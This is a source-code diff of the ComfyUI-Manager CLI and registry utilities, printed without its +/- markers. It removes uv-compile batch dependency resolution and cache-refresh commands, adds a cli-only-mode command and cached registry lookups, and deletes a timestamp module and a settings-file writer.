Get all installed node specifications using glob InstalledNodePackage data structure
|
||||
"""
|
||||
res = []
|
||||
processed = set()
|
||||
for k, v in unified_manager.active_nodes.items():
|
||||
node_spec_str = f"{k}@{v[0]}"
|
||||
res.append(node_spec_str)
|
||||
processed.add(k)
|
||||
|
||||
for k in unified_manager.cnr_inactive_nodes.keys():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
latest = unified_manager.get_from_cnr_inactive_nodes(k)
|
||||
if latest is not None:
|
||||
node_spec_str = f"{k}@{str(latest[0])}"
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
node_spec_str = f"{pack.id}@{pack.version}"
|
||||
res.append(node_spec_str)
|
||||
|
||||
for k in unified_manager.nightly_inactive_nodes.keys():
|
||||
if k in processed:
|
||||
continue
|
||||
|
||||
node_spec_str = f"{k}@nightly"
|
||||
res.append(node_spec_str)
|
||||
|
||||
for k in unified_manager.unknown_active_nodes.keys():
|
||||
node_spec_str = f"{k}@unknown"
|
||||
res.append(node_spec_str)
|
||||
|
||||
for k in unified_manager.unknown_inactive_nodes.keys():
|
||||
node_spec_str = f"{k}@unknown"
|
||||
res.append(node_spec_str)
|
||||
|
||||
return res
|
||||
|
||||
|
||||
@@ -634,20 +534,14 @@ def for_each_nodes(nodes, act, allow_all=True, **kwargs):
|
||||
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui', 'all']]
|
||||
|
||||
total = len(nodes)
|
||||
failed = []
|
||||
for i, x in enumerate(nodes, 1):
|
||||
i = 1
|
||||
for x in nodes:
|
||||
try:
|
||||
act(x, is_all=is_all, cnt_msg=f'{i}/{total}', **kwargs)
|
||||
except NodeInstallError:
|
||||
failed.append(x)
|
||||
except Exception as e:
|
||||
print(f"ERROR: {e}")
|
||||
traceback.print_exc()
|
||||
failed.append(x)
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Failed nodes ({len(failed)}/{total}): {', '.join(str(x) for x in failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
i += 1
|
||||
|
||||
|
||||
app = typer.Typer()
|
||||
@@ -683,14 +577,6 @@ def install(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -702,20 +588,11 @@ def install(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Reinstall custom nodes")
|
||||
@@ -742,14 +619,6 @@ def reinstall(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -757,20 +626,11 @@ def reinstall(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, act=reinstall_node)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Uninstall custom nodes")
|
||||
@@ -815,21 +675,10 @@ def update(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After updating, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
@@ -841,8 +690,7 @@ def update(
|
||||
break
|
||||
|
||||
update_parallel(nodes)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Disable custom nodes")
|
||||
@@ -928,28 +776,16 @@ def fix(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After fixing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
for_each_nodes(nodes, fix_node, allow_all=True)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command("show-versions", help="Show all available versions of the node")
|
||||
@@ -1052,6 +888,31 @@ def simple_show(
|
||||
show_list(arg, True)
|
||||
|
||||
|
||||
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
|
||||
def cli_only_mode(
|
||||
mode: str = typer.Argument(
|
||||
..., help="[enable|disable]"
|
||||
),
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
|
||||
|
||||
if mode.lower() == 'enable':
|
||||
with open(cli_mode_flag, 'w'):
|
||||
pass
|
||||
print("\nINFO: `cli-only-mode` is enabled\n")
|
||||
elif mode.lower() == 'disable':
|
||||
if os.path.exists(cli_mode_flag):
|
||||
os.remove(cli_mode_flag)
|
||||
print("\nINFO: `cli-only-mode` is disabled\n")
|
||||
else:
|
||||
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
|
||||
exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
|
||||
@@ -1146,7 +1007,7 @@ def save_snapshot(
|
||||
|
||||
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
|
||||
def restore_snapshot(
|
||||
snapshot_name: str,
|
||||
snapshot_name: str,
|
||||
pip_non_url: Optional[bool] = typer.Option(
|
||||
default=None,
|
||||
show_default=False,
|
||||
@@ -1172,24 +1033,13 @@ def restore_snapshot(
|
||||
restore_to: Optional[str] = typer.Option(
|
||||
None,
|
||||
help="Manually specify the installation path for the custom node. Ignore user directory."
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if restore_to:
|
||||
cmd_ctx.update_custom_nodes_dir(restore_to)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
extras = []
|
||||
if pip_non_url:
|
||||
extras.append('--pip-non-url')
|
||||
@@ -1216,11 +1066,8 @@ def restore_snapshot(
|
||||
except Exception:
|
||||
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
|
||||
traceback.print_exc()
|
||||
if uv_compile:
|
||||
pip_fixer.fix_broken()
|
||||
raise typer.Exit(code=1)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1230,21 +1077,10 @@ def restore_dependencies(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
node_paths = []
|
||||
|
||||
for base_path in cmd_ctx.get_custom_nodes_paths():
|
||||
@@ -1260,10 +1096,9 @@ def restore_dependencies(
|
||||
for x in node_paths:
|
||||
print("----------------------------------------------------------------------------------------------------")
|
||||
print(f"Restoring [{i}/{total}]: {x}")
|
||||
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
|
||||
unified_manager.execute_install_script('', x, instant_execution=True)
|
||||
i += 1
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1304,21 +1139,9 @@ def install_deps(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
if not os.path.exists(deps):
|
||||
@@ -1338,114 +1161,14 @@ def install_deps(
|
||||
if state == 'installed':
|
||||
continue
|
||||
elif state == 'not-installed':
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True))
|
||||
else: # disabled
|
||||
core.gitclone_set_active([k], False)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
print("Dependency installation and activation complete.")
|
||||
|
||||
|
||||
def _finalize_resolve(pip_fixer, uv_compile) -> None:
|
||||
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
|
||||
if uv_compile:
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
else:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
def _run_unified_resolve():
|
||||
"""Shared logic for unified batch dependency resolution."""
|
||||
from comfyui_manager.common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
attribute_conflicts,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
|
||||
if not node_pack_paths:
|
||||
print("[bold yellow]No custom node packs found.[/bold yellow]")
|
||||
return
|
||||
|
||||
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
|
||||
|
||||
resolver = UnifiedDepResolver(
|
||||
node_pack_paths=node_pack_paths,
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=cm_global.pip_blacklist,
|
||||
overrides=cm_global.pip_overrides,
|
||||
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
|
||||
)
|
||||
try:
|
||||
result = resolver.resolve_and_install()
|
||||
except UvNotAvailableError:
|
||||
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if result.success:
|
||||
collected = result.collected
|
||||
if collected:
|
||||
print(
|
||||
f"[bold green]Resolved {len(collected.requirements)} deps "
|
||||
f"from {len(collected.sources)} source(s) "
|
||||
f"(skipped {len(collected.skipped)}).[/bold green]"
|
||||
)
|
||||
else:
|
||||
print("[bold green]Resolution complete (no deps needed).[/bold green]")
|
||||
else:
|
||||
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
|
||||
if result.lockfile and result.lockfile.conflicts and result.collected:
|
||||
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
|
||||
if attributed:
|
||||
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
|
||||
for pkg_name, requesters in sorted(attributed.items()):
|
||||
print(f" [yellow]{pkg_name}[/yellow]:")
|
||||
for pack_path, pkg_spec in requesters:
|
||||
print(f" {os.path.basename(pack_path)} → {pkg_spec}")
|
||||
raise typer.Exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"uv-sync",
|
||||
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
|
||||
)
|
||||
def unified_uv_compile(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Unexpected error: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
|
||||
def clear():
|
||||
cancel()
|
||||
@@ -1474,104 +1197,21 @@ def export_custom_node_ids(
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
with open(path, "w", encoding='utf-8') as output_file:
|
||||
for x in unified_manager.cnr_map.keys():
|
||||
print(x, file=output_file)
|
||||
|
||||
custom_nodes = asyncio.run(unified_manager.get_custom_nodes(channel=cmd_ctx.channel, mode=cmd_ctx.mode))
|
||||
for x in custom_nodes.values():
|
||||
if 'cnr_latest' not in x:
|
||||
if len(x['files']) == 1:
|
||||
repo_url = x['files'][0]
|
||||
node_id = repo_url.split('/')[-1]
|
||||
print(f"{node_id}@unknown", file=output_file)
|
||||
|
||||
if 'id' in x:
|
||||
print(f"{x['id']}@unknown", file=output_file)
|
||||
|
||||
|
||||
@app.command("update-cache", help="Force-fetch all remote data and populate local cache (blocking)")
|
||||
def update_cache(
|
||||
channel: Annotated[
|
||||
str,
|
||||
typer.Option(
|
||||
show_default=False,
|
||||
help="Specify the channel"
|
||||
),
|
||||
] = None,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
if channel is not None:
|
||||
cmd_ctx.channel = channel
|
||||
|
||||
asyncio.run(_force_update_cache(cmd_ctx.channel))
|
||||
|
||||
|
||||
async def _force_update_cache(channel):
|
||||
"""Fetch all remote data and save to cache, bypassing pip/offline guards."""
|
||||
core.refresh_channel_dict()
|
||||
config = core.get_config()
|
||||
channel_url = config['channel_url']
|
||||
|
||||
os.makedirs(manager_util.cache_dir, exist_ok=True)
|
||||
|
||||
failed = []
|
||||
|
||||
# Step 1: Fetch channel JSON files directly (bypasses get_data_by_mode pip guard)
|
||||
filenames = [
|
||||
"custom-node-list.json",
|
||||
"extension-node-map.json",
|
||||
"model-list.json",
|
||||
"alter-list.json",
|
||||
"github-stats.json",
|
||||
]
|
||||
|
||||
async def fetch_and_cache(filename):
|
||||
# Export CNR package IDs using cnr_utils
|
||||
try:
|
||||
if config.get('default_cache_as_channel_url'):
|
||||
uri = f"{channel_url}/{filename}"
|
||||
else:
|
||||
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
|
||||
all_cnr = cnr_utils.get_all_nodepackages()
|
||||
for package_id in all_cnr.keys():
|
||||
print(package_id, file=output_file)
|
||||
except Exception:
|
||||
# If CNR lookup fails, continue with installed packages
|
||||
pass
|
||||
|
||||
cache_uri = str(manager_util.simple_hash(uri)) + '_' + filename
|
||||
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
|
||||
|
||||
json_obj = await manager_util.get_data(uri, silent=True)
|
||||
|
||||
with manager_util.cache_lock:
|
||||
with open(cache_uri, "w", encoding='utf-8') as file:
|
||||
json.dump(json_obj, file, indent=4, sort_keys=True)
|
||||
|
||||
print(f" [CACHED] {filename}")
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] {filename}: {e}[/bold red]")
|
||||
failed.append(filename)
|
||||
|
||||
print("Fetching channel data...")
|
||||
await asyncio.gather(*[fetch_and_cache(f) for f in filenames])
|
||||
|
||||
# Step 2: Reload unified_manager with remote mode
|
||||
# cache_mode='remote' makes cache_mode==False in get_cnr_data,
|
||||
# which bypasses the dont_wait block and triggers blocking fetch_all()
|
||||
print("Fetching CNR registry data...")
|
||||
try:
|
||||
await unified_manager.reload('remote', dont_wait=False)
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] CNR registry: {e}[/bold red]")
|
||||
failed.append("CNR registry")
|
||||
|
||||
# Step 3: Load nightly data (cache files now exist from Step 1)
|
||||
print("Loading nightly data...")
|
||||
await unified_manager.load_nightly(channel or 'default', 'cache')
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Cache update incomplete. Failed: {', '.join(failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print("[bold green]Cache update complete.[/bold green]")
|
||||
# Export installed packages that are not from CNR
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_unknown or pack.is_nightly:
|
||||
version_suffix = "@unknown" if pack.is_unknown else "@nightly"
|
||||
print(f"{pack.id}{version_suffix}", file=output_file)
|
||||
|
||||
|
||||
def main():
|
||||
@@ -1,17 +0,0 @@
|
||||
from .timestamp_utils import (
|
||||
current_timestamp,
|
||||
get_timestamp_for_filename,
|
||||
get_timestamp_for_path,
|
||||
get_backup_branch_name,
|
||||
get_now,
|
||||
get_unix_timestamp,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
'current_timestamp',
|
||||
'get_timestamp_for_filename',
|
||||
'get_timestamp_for_path',
|
||||
'get_backup_branch_name',
|
||||
'get_now',
|
||||
'get_unix_timestamp',
|
||||
]
|
||||
|
||||
@@ -34,6 +34,11 @@ variables = {}
|
||||
APIs = {}
|
||||
|
||||
|
||||
pip_overrides = {}
|
||||
pip_blacklist = {}
|
||||
pip_downgrade_blacklist = {}
|
||||
|
||||
|
||||
def register_api(k, f):
|
||||
global APIs
|
||||
APIs[k] = f
|
||||
|
||||
@@ -12,6 +12,10 @@ from . import manager_util
|
||||
import requests
|
||||
import toml
|
||||
import logging
|
||||
from . import git_utils
|
||||
from cachetools import TTLCache, cached
|
||||
|
||||
query_ttl_cache = TTLCache(maxsize=100, ttl=60)
|
||||
|
||||
base_url = "https://api.comfy.org"
|
||||
|
||||
@@ -20,28 +24,28 @@ lock = asyncio.Lock()
|
||||
|
||||
is_cache_loading = False
|
||||
|
||||
def get_form_factor():
|
||||
"""Form factor reported to the registry, based on environment and platform."""
|
||||
is_desktop = bool(os.environ.get('__COMFYUI_DESKTOP_VERSION__'))
|
||||
system = platform.system().lower()
|
||||
|
||||
if is_desktop:
|
||||
if system == 'windows':
|
||||
return 'desktop-win'
|
||||
if system == 'darwin':
|
||||
return 'desktop-mac'
|
||||
if system == 'linux':
|
||||
return 'desktop-linux'
|
||||
return 'other'
|
||||
def normalize_package_name(name: str) -> str:
|
||||
"""
|
||||
Normalize package name for case-insensitive matching.
|
||||
|
||||
if system == 'windows':
|
||||
return 'git-windows'
|
||||
if system == 'darwin':
|
||||
return 'git-mac'
|
||||
if system == 'linux':
|
||||
return 'git-linux'
|
||||
return 'other'
|
||||
This follows the same normalization pattern used throughout CNR:
|
||||
- Strip leading/trailing whitespace
|
||||
- Convert to lowercase
|
||||
|
||||
Args:
|
||||
name: Package name to normalize (e.g., "ComfyUI_SigmoidOffsetScheduler" or " NodeName ")
|
||||
|
||||
Returns:
|
||||
Normalized package name (e.g., "comfyui_sigmoidoffsetscheduler")
|
||||
|
||||
Examples:
|
||||
>>> normalize_package_name("ComfyUI_SigmoidOffsetScheduler")
|
||||
"comfyui_sigmoidoffsetscheduler"
|
||||
>>> normalize_package_name(" NodeName ")
|
||||
"nodename"
|
||||
"""
|
||||
return name.strip().lower()
|
||||
|
||||
async def get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
try:
|
||||
@@ -60,9 +64,13 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
page = 1
|
||||
|
||||
full_nodes = {}
|
||||
|
||||
|
||||
# Determine form factor based on environment and platform
|
||||
is_desktop = bool(os.environ.get('__COMFYUI_DESKTOP_VERSION__'))
|
||||
system = platform.system().lower()
|
||||
is_windows = system == 'windows'
|
||||
is_mac = system == 'darwin'
|
||||
is_linux = system == 'linux'
|
||||
|
||||
# Get ComfyUI version tag
|
||||
if is_desktop:
|
||||
@@ -71,11 +79,23 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
else:
|
||||
comfyui_ver = context.get_comfyui_tag() or 'unknown'
|
||||
|
||||
form_factor = get_form_factor()
|
||||
|
||||
from comfyui_manager.glob import manager_core
|
||||
verbose = manager_core.get_config().get('verbose', False)
|
||||
|
||||
if is_desktop:
|
||||
if is_windows:
|
||||
form_factor = 'desktop-win'
|
||||
elif is_mac:
|
||||
form_factor = 'desktop-mac'
|
||||
else:
|
||||
form_factor = 'other'
|
||||
else:
|
||||
if is_windows:
|
||||
form_factor = 'git-windows'
|
||||
elif is_mac:
|
||||
form_factor = 'git-mac'
|
||||
elif is_linux:
|
||||
form_factor = 'git-linux'
|
||||
else:
|
||||
form_factor = 'other'
|
||||
|
||||
while remained:
|
||||
# Add comfyui_version and form_factor to the API request
|
||||
sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
|
||||
@@ -85,7 +105,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
for x in sub_json_obj['nodes']:
|
||||
full_nodes[x['id']] = x
|
||||
|
||||
if page % 5 == 0 and verbose:
|
||||
if page % 5 == 0:
|
||||
logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
|
||||
|
||||
page += 1
|
||||
@@ -137,7 +157,6 @@ class NodeVersion:
|
||||
id: str
|
||||
version: str
|
||||
download_url: str
|
||||
status: str = ''
|
||||
|
||||
|
||||
def map_node_version(api_node_version):
|
||||
@@ -145,7 +164,7 @@ def map_node_version(api_node_version):
|
||||
Maps node version data from API response to NodeVersion dataclass.
|
||||
|
||||
Args:
|
||||
api_data (dict): The 'node_version' part of the API response.
|
||||
api_node_version (dict): The 'node_version' part of the API response.
|
||||
|
||||
Returns:
|
||||
NodeVersion: An instance of NodeVersion dataclass populated with data from the API.
|
||||
@@ -169,7 +188,6 @@ def map_node_version(api_node_version):
|
||||
download_url=api_node_version.get(
|
||||
"downloadUrl", ""
|
||||
), # Provide a default value if 'downloadUrl' is missing
|
||||
status=api_node_version.get('status', ''),
|
||||
)
|
||||
|
||||
|
||||
@@ -197,6 +215,80 @@ def install_node(node_id, version=None):
|
||||
return None
|
||||
|
||||
|
||||
@cached(query_ttl_cache)
|
||||
def get_nodepack(packname):
|
||||
"""
|
||||
Retrieves the nodepack
|
||||
|
||||
Args:
|
||||
packname (str): The unique identifier of the node.
|
||||
|
||||
Returns:
|
||||
nodepack info {id, latest_version}
|
||||
"""
|
||||
url = f"{base_url}/nodes/{packname}"
|
||||
|
||||
response = requests.get(url, verify=not manager_util.bypass_ssl)
|
||||
if response.status_code == 200:
|
||||
info = response.json()
|
||||
|
||||
res = {
|
||||
'id': info['id']
|
||||
}
|
||||
|
||||
if 'latest_version' in info:
|
||||
res['latest_version'] = info['latest_version']['version']
|
||||
|
||||
if 'repository' in info:
|
||||
res['repository'] = info['repository']
|
||||
|
||||
return res
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
@cached(query_ttl_cache)
|
||||
def get_nodepack_by_url(url):
|
||||
"""
|
||||
Retrieves the nodepack info for installation.
|
||||
|
||||
Args:
|
||||
url (str): The unique identifier of the node.
|
||||
|
||||
Returns:
|
||||
NodeVersion: Node version data or error message.
|
||||
"""
|
||||
|
||||
# example query: https://api.comfy.org/nodes/search?repository_url_search=ltdrdata/ComfyUI-Impact-Pack&limit=1
|
||||
url = f"nodes/search?repository_url_search={url}&limit=1"
|
||||
|
||||
response = requests.get(url, verify=not manager_util.bypass_ssl)
|
||||
if response.status_code == 200:
|
||||
# Convert the API response to a NodeVersion object
|
||||
info = response.json().get('nodes', [])
|
||||
if len(info) > 0:
|
||||
info = info[0]
|
||||
repo_url = info['repository']
|
||||
|
||||
if git_utils.compact_url(url) != git_utils.compact_url(repo_url):
|
||||
return None
|
||||
|
||||
res = {
|
||||
'id': info['id']
|
||||
}
|
||||
|
||||
if 'latest_version' in info:
|
||||
res['latest_version'] = info['latest_version']['version']
|
||||
|
||||
res['repository'] = info['repository']
|
||||
|
||||
return res
|
||||
else:
|
||||
return None
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
def all_versions_of_node(node_id):
|
||||
url = f"{base_url}/nodes/{node_id}/versions?statuses=NodeVersionStatusActive&statuses=NodeVersionStatusPending"
|
||||
|
||||
@@ -219,8 +311,7 @@ def read_cnr_info(fullpath):
|
||||
data = toml.load(f)
|
||||
|
||||
project = data.get('project', {})
|
||||
name = project.get('name').strip().lower()
|
||||
original_name = project.get('name')
|
||||
name = project.get('name').strip()
|
||||
|
||||
# normalize version
|
||||
# for example: 2.5 -> 2.5.0
|
||||
@@ -232,7 +323,6 @@ def read_cnr_info(fullpath):
|
||||
if name and version: # repository is optional
|
||||
return {
|
||||
"id": name,
|
||||
"original_name": original_name,
|
||||
"version": version,
|
||||
"url": repository
|
||||
}
|
||||
|
||||
@@ -1,76 +0,0 @@
|
||||
"""Shared settings-file writer for glob and legacy."""
|
||||
import configparser
|
||||
import os
|
||||
import tempfile
|
||||
|
||||
from rich import print
|
||||
|
||||
|
||||
class DirtyTrackingConfig(dict):
|
||||
"""Track keys assigned after loading the startup configuration."""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
self.dirty_keys = set()
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
self.dirty_keys.add(key)
|
||||
super().__setitem__(key, value)
|
||||
|
||||
def update(self, *args, **kwargs):
|
||||
incoming = dict(*args, **kwargs)
|
||||
self.dirty_keys.update(incoming)
|
||||
super().update(incoming)
|
||||
|
||||
|
||||
def write_config_merged(config_path, cached, written_config_keys):
|
||||
"""Merge changed owned keys onto the latest settings on disk.
|
||||
|
||||
Preserve parsed keys and values, not INI comments or formatting."""
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
try:
|
||||
loaded = config.read(config_path)
|
||||
except (configparser.Error, UnicodeDecodeError) as e:
|
||||
# Preserve the existing fallback for malformed files.
|
||||
print(f"[ComfyUI-Manager] Warning: '{config_path}' could not be parsed ({e}); rewriting it from the current settings.")
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
else:
|
||||
# ConfigParser.read silently skips unreadable files; do not overwrite one.
|
||||
if not loaded and os.path.exists(config_path):
|
||||
raise OSError(f"'{config_path}' exists but could not be read; refusing to overwrite it with default settings. Fix the file's permissions, then retry.")
|
||||
|
||||
if config.has_section('default'):
|
||||
keys = [key for key in written_config_keys if key in cached.dirty_keys]
|
||||
else:
|
||||
config['default'] = {}
|
||||
keys = list(written_config_keys)
|
||||
|
||||
section = config['default']
|
||||
for key in keys:
|
||||
section[key] = str(cached[key]).replace('\r', '').replace('\n', '').replace('\x00', '')
|
||||
|
||||
directory = os.path.dirname(config_path)
|
||||
